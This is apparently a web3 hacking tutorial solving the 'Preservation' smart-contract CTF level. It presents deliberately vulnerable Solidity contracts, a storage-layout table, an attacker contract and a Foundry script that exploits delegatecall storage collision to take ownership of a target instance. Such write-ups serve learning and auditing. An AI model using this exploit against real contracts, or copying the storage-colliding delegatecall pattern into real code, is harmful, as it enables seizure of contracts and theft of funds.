Contents
- SmartContract vulnerabilites and how to exploit them.
- Learning different web3 concepts.
- Explaining hacks in web3 context
For Example
This is a smartcontract hacking demo as seen on my website web3hacking.xyz
Preservation
This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored.
The goal of this level is for you to claim ownership of the instance you are given.
Things that might help
- Look into Solidity's documentation on the
delegatecall
low level function, how it works, how it can be used to delegate operations to on-chain. libraries, and what implications it has on execution scope. - Understanding what it means for
delegatecall
to be context-preserving. - Understanding how storage variables are stored and accessed.
- Understanding how casting works between different data types.
delegatecall
is a low level function similar to call
.
When contract Preservation
executes delegatecall
to contract LibraryContract
, LibraryContract
’s code is executed with contract Preservation
's storage, msg.sender
and msg.value
.
Preservation.sol
& LibaryContract.sol
contracts:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
Storage Layout Preservation
forge inspect src/Preservation.sol:Preservation storage-layout --pretty
| Name | Type | Slot | Offset | Bytes | Contract |
|------------------|---------|------|--------|-------|-----------------------------------|
| timeZone1Library | address | 0 | 0 | 20 | src/Preservation.sol:Preservation |
| timeZone2Library | address | 1 | 0 | 20 | src/Preservation.sol:Preservation |
| owner | address | 2 | 0 | 20 | src/Preservation.sol:Preservation |
| storedTime | uint256 | 3 | 0 | 32 | src/Preservation.sol:Preservation |
Attack Plan
- We Deploy an attack contract, and update the
timeZone1Library
at storage slot 0. → to our attack contract. - We can call
setFirstTime
again to such that our attack contract update storage slot 2.
Attack contract
We keep the same layout as the Preservation
contract, so that when owner get’s updated it get’s updated at the same slot as in the Preservation
contract.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Hack {
address public timeZone1Library; //slot 0
address public timeZone2Library; //slot 1
address public owner; //slot 2
function setTime(uint) public {
owner = msg.sender;
}
}
So what will happen is that the first time the following line gets executed:
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
contract LibraryContract {
// stores a timestamp
uint storedTime; //STORAGE SLOT 0! == address public timeZone1Library;
function setTime(uint _time) public {
storedTime = _time;
}
}
The address of timeZone1Library gets executed and updated because the storage layout of LibraryContract
updates the storage slot 0, with our contract address.
The Problem
The problem is that setFirstTime()
expects an uint
, and timeZone1Library
is an address
.
uint
= 32 bytes → 64 hex
address
= are 20 bytes long → 42 characters
Solution: We need to left pad our attacker contract address
AttackScript
forge script script/AttackScript.sol --rpc-url $RPC --broadcast -vvvvv
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Preservation, LibraryContract} from "../src/Preservation.sol";
import {Attacker} from "../src/Attacker.sol";
import {Script} from "forge-std/Script.sol";
interface IPreservation {
function setFirstTime(uint) external;
}
contract AttackScript is Script {
IPreservation public target; // Renamed the variable to avoid shadowing
function run() public {
uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployerPrivateKey);
target = IPreservation(0x6E3262842615e614D9C0f8A9156FF11920777934);
// deploy hack contract
Attacker attacker = new Attacker();
// add 20 zeros to the begin of the address
// to make it 32 bytes long
bytes32 attackAddressToUint = bytes32(uint256(uint160(address(attacker))));
// set the first time to update timeZone1Library to attacker address
target.setFirstTime(uint(attackAddressToUint));
// When we call delegatecall, we are telling the EVM to execute the code in the context of the calling contract.
// This is at our attack contract, so we can set the owner to our address.
target.setFirstTime(uint(attackAddressToUint));
}
}